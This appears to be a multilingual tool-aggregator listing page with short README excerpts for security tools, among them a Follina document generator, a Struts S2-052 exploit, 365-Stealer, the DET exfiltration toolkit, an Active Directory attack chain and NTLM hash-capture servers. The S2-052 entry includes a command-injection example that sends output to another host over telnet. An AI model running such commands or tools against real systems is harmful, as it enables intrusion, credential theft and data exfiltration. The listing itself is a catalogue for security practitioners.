webanalyze

webanalyze Go로 작성된 Wappalyzer의 포트입니다. 이 도구는 성능에 최적화되어 있으며 대규모 호스트 목록을 테스트할 수 있습니다. Wappalyzer가 앱 정의에 대한 공개 액세스를 제거했기 때문에 webanalyze는 현재 enthec에서 정의를 로드합니다. 설치 및 사용법 사전 컴파일된 릴리스 사전 컴파일된 릴리스는 여기에서 직접 다운로드할 수 있습니다. 빌드 직접 빌드하려면: root@kitploit: $ go install -v...

cornershot

CornerShot이란? 전쟁에서 CornerShot은 군인이 모퉁이 너머를 살펴보고어쩌면 사격도 적에게 노출되지 않고 공격할 수 있게 해주는 무기입니다. 이와 유사하게, CornerShot 패키지를 사용하면 원격 호스트에서 특별한 권한 없이도 해당 호스트의 네트워크 접근 상태를 확인할 수 있습니다. CornerShot을 사용하면 소스source가 캐리어carrier에 네트워크 접근이 가능할 때, 특정 포트 p 에 대해 캐리어 와 타겟target 사이에 네트워크 접근이 있는지 확인할 수 있습니다. 예를 들어, 레드팀이 "침해된...

pentest-tools

pentest-tools Набор пользовательских инструментов безопасности для быстрых нужд. Важное примечание ‼ В ноябре 2022 года была проведена большая чистка ‼ Некоторые бесполезные/неработающие скрипты были архивированы, а другие перемещены в собственные репозитории для большей видимости. Не стесняйтесь...

CVE-2022-30190

CVE-2022-30190 - Microsoft サポート診断ツール 概要 このスクリプトは、リモートでコードを実行する Microsoft Office 文書を作成しようとします。 セットアップ root@kitploit: git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help オプション root@kitploit: usage: CVE-2022-30190.py -h --html HTML --cm...

Krawl

Krawl A modern, customizable web honeypot server designed to detect and track malicious activity from attackers and web crawlers through deceptive web pages, fake credentials, and canary tokens. Table of Contents Demo What is Krawl? Krawl Dashboard Deployment Modes Krawl Banlist Quickstart Docker...

pyrasite

.. image:: docs/logo.png pyrasite .. image:: https://api.travis-ci.org/lmacken/pyrasite.png?branch=develop :target: http://travis-ci.org/lmacken/pyrasite .. image:: https://coveralls.io/repos/lmacken/pyrasite/badge.png?branch=develop :target: https://coveralls.io/r/lmacken/pyrasite?branch=develop...

cve-2022-42889-text4shell

Maven 설치 - maven-linux 1. Maven 설치하여 fat jar 생성 root@kitploit: mvn clean install 2. Docker 빌드 root@kitploit: docker build --tag=text4shell . 3. Docker 실행 root@kitploit: docker run -p 80:8080 text4shell 4. 앱 테스트 root@kitploit: http://localhost/text4shell/attack?search= 5. 공격은 앞서 언급한 조회lookup에서...

apache__incubator-dubbo_CVE-2021-30181_2-6-8

Apache Dubbo 프로젝트 Apache Dubbo는 강력하고 사용자 친화적인 Web 및 RPC 프레임워크입니다. Java, Go, Python, PHP, Erlang, Rust, Node.js/Web 등 여러 언어 구현을 지원합니다. Dubbo는 통신, 서비스 디스커버리, 트래픽 관리, 관측 가능성, 보안, 도구 및 엔터프라이즈급 마이크로서비스 구축을 위한 모범 사례에 대한 솔루션을 제공합니다. 🚀 Dubbo 개선을 위해 사용자 정보를 수집하고 있습니다. 여기에서 도와주세요: 누가 Dubbo를 사용하나요? 🧱 아키텍처...

365-Stealer

365-Stealer Table of Contents 365-Stealer 정보 Illicit Consent Grant 공격 정보 365-Stealer의 주요 기능 공격 환경 설정 자동 Azure 앱 등록 수동 Azure 앱 등록 애플리케이션 구성 클라이언트 시크릿 생성 API 권한 추가 365-Stealer 설정 Apache 서버에서 SQLite3 활성화 365-Stealer 관리 포털 구성 경로 수정 365-Stealer 관리 포털의 IP 화이트리스트 활성화 OPSEC 고려 사항 명령줄 도움말 블로그 버그 및 기능 요청 기...

CVE-2018-6574-POC

CVE-2018-6574 POC リンク CVE-2018-6574 の簡単な POC https://nvd.nist.gov/vuln/detail/CVE-2018-6574 http://blog.nsfocus.net/cve-2018-6574/...

DET

DET 拡張可能 データ漏洩ツールキット DET（AS IS で提供）は、単一または複数のチャネルを同時に使用してデータ漏洩を実行するための概念実証です。 これは、潜在的な DLP の欠陥を特定するための概念実証です。機密データや実際のデータ（評価中など）を漏洩させるために使用してはなりません。 アイデアは、さまざまなデータ漏洩技術に対して、実装されたネットワーク監視およびデータ漏洩防止（DLP）ソリューションの構成をテストするための、任意のプロトコル/サービスをプラグイン可能な汎用ツールキットを作成することでした。 プライマリリポジトリはこちらに移動しました。 スライド DET...

-CVE-2017-9805-

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个 Python 漏洞利用脚本，能够在托管易受 S2-052 攻击的 Struts2 系统上远程执行 shell 命令。 用法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache Struts XStream REST vulnerability - S2-052...

bambdas

Bambda 脚本 欢迎来到 PortSwigger 官方 Bambda 脚本仓库。本仓库收录了由 PortSwigger 和社区共同开发的脚本合集，满满都是🧡 📑 本页目录 Bambda 脚本类型 仓库内容 将脚本导入 Burp 更新库中的脚本 贡献你自己的脚本 资源 Bambda 脚本类型 Bambdas 是在受支持的 Burp 工具中运行的脚本。你可以通过创建以下内容快速定制 Burp Suite： 表过滤器 – 动态过滤 Burp 中的表。 表列 – 添加自定义表列以呈现重要数据。 Repeater 自定义操作 – 在 Burp Repeater 中提取、转换和分析数据。...

ad-autopwn

AD AutoPwn 제로 인증에서 도메인 관리자까지 — 자동화된 Active Directory 공격 체인 25개 이상의 공격 기법을 연결하여 Active Directory 환경을 손상시키는 완전 자동화된 침투 테스트 도구입니다. 승인된 보안 평가용으로 설계되었습니다. root@kitploit: /\ | \ /\ | | | \ / | | | / \ || | / \ /\ V V / ' \ // \/ // \,|\/| //|||| ⚡ 제로 인증에서 도메인 관리자까지 — 공격 체인 발견 | 스니핑 | ARP | WPAD |...

dirhunt

.. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/v0.2.0/images/dirhunt.png | .. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/pip-rating-badge/pip-rating-badge.svg :target: https://github.com/Nekmo/dirhunt/actions/workflows/pip-rating.yml :alt: pip-rating badge .. image::...

log4j-scan

log4j-scan Полностью автоматизированный, точный и обширный сканер для поиска уязвимых хостов log4j Возможности Поддержка списков URL-адресов. Фаззинг более чем 60 HTTP-заголовков запроса а не только 3-4 заголовка, как в ранее представленных инструментах. Фаззинг параметров данных HTTP POST. Фаззи...

apache__camel_CVE-2018-8041_2-20-3

Apache Camel Apache Camel는 데이터를 소비하거나 생산하는 다양한 시스템을 빠르고 쉽게 통합할 수 있게 해주는 오픈 소스 통합 프레임워크입니다. 소개 Camel을 사용하면 Java, XML, Groovy, YAML과 같은 다양한 도메인 특화 언어DSL로 라우팅 및 중재 규칙을 정의할 수 있습니다. 즉, Java 또는 XML 편집기에서 IDE의 라우팅 규칙 스마트 완성 기능을 사용할 수 있습니다. Apache Camel은 URI를 사용하여 HTTP, ActiveMQ, JMS, JBI, SCA, MINA, CXF...

SharpWebServer

SharpWebServer Red Team向けのシンプルなHTTP & WebDAVサーバーで、Cで書かれており、Net-NTLMハッシュをキャプチャする機能を持ちます。侵害されたマシンでペイロードを配信し、ラテラルムーブメントに使用されます。 .NET Framework 4.5とSystem.NetおよびSystem.Net.Socketsの参照が必要です。 使用方法 root@kitploit: :: SharpWebServer :: a Red Team oriented C Simple HTTP Server with Net-NTLMv1/2 hashes captu...

sshtunnel

|CircleCI| |AppVeyor| |readthedocs| |coveralls| |version| |pyversions| |license| 저자 : Pahaz 저장소 : https://github.com/pahaz/sshtunnel/ https://github.com/jmagnusson/bgtunnel 에서 영감을 받았으며, Windows에서는 작동하지 않습니다. 참고: https://github.com/paramiko/paramiko/blob/master/demos/forward.py Requirements parami...

hibernate-orm

Hibernate ORM は、アプリケーション、ライブラリ、フレームワークにオブジェクト/リレーショナルマッピング（ORM）サポートを提供するライブラリです。 また、ORM の標準 Java 仕様である JPA 仕様の実装も提供します。 ここはそのソースコードのリポジトリです。詳細は Hibernate.org を参照してください。 ソースからのビルド ビルドには Java 8 JDK が JAVAHOME として必要です。 ソース を取得するには Git が必要です。 Hibernate はビルドツールとして Gradle を使用しています。Gradle に慣れていない場合は、下記の...